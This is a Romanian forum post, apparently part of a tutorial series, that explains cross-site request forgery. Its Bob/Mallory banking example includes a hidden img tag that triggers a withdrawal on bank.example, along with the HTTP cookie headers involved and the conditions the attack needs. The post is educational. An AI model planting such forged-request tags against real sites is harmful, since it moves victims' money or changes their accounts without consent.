href='http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory'> Hello </a> Bob poate fi suspicios, alegand astfel sa nu urmeze acest link. Ce se intampla insa, daca acest link este ascuns pe o pagina aparent banala, ce contine urmatorul tag img: <img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory"> Continutul unei cereri HTTP Cand un utilizator se autentifica (catre http://bank.example), si informatiile sunt retinute intr-un cookie, serverul va produce urmatorul raspuns, clientului proaspat autentificat: HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value (content of page) Observati campul Set-Cookie care informeaza browserul ca un cookie a fost setat. Orice cerere HTTP ulterioara catre http://bank.example va fi de forma: GET /page.html HTTP/1.1 Host: bank.example Cookie: name=value Observati faptul ca cererea HTTP contine campul Cookie; browserul trimite serverului cookie-ul setat de acesta. Din nefericire browserul nu face distinctie intre o cerere HTTP obisnuita, si o cerere HTTP pentru o imagine(de exemplu). Motiv pentru care, cand intalneste tag-ul: <img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory"> browserul lui Bob, va construi urmatoarea cerere HTTP: GET /withdraw.php?account=bob&amount=1000000&for=mallory HTTP/1.1 Host: bank.example Cookie: name=value Cum cookie-ul a fost setat pentru acest domeniu, browserul web va anexa acestei cerereri, campul Cookie: name=value. Se vede limpede acum, faptul ca deschiderea unei simple pagini web care contine tag-ul img descris mai sus, va produce o modificare in contul bancar al lui Bob, in favoarea lui Mallory. Cand functioneaza CSRF Pentru ca CSRF sa functioneze, urmatoarele conditii trebuie indeplinite: Atacatorul trebuie sa gaseasca o aplicatie care nu verifica campul Referer, din cererea HTTP. (Un astfel de camp este deobicei setat, si indica entitatea de unde s-a trimis pagina malitioasa (in exemplul nostru, Referer-ul este site-ul lui Mallory, care gazduieste pagina web ce contine tag-ul img malitios) Atacatorul trebuie sa gaseasca o aplicatie ale caror URL-uri produc efecte secundare (Spre exemplu, withdraw.php, apartinand banking.example), ca urmare a trimiterii de formulare (prin metoda GET). Atacatorul trebuie sa cunoasca valorile corecte ce trebuie trimise scriptului; (In exemplul nostru: account=bob&amount=1000000&for=mallory; cum insa Mallory are si el un cont bancar pe acelasi site, acest lucru este rezonabil); Insa daca formularul mai solicita si alte informatii (eventual o parola, sau output-ul unui captcha), atacul nu mai este posibil (in aceasta forma). Atacatorul trebuie sa convinga victima sa acceseze un website malitios, in timp ce aceasta se afla autentificata pe site-ul tinta (bank.example) Sursa: Tutoriale Video pentru Windows si Linux | Programare C Java PHP Android Rog un moderator sau administrator sa editeze titlul(la mine nu vrea sa se actualizeze) si sa completeze part 1 in loc de part 2. Multumesc!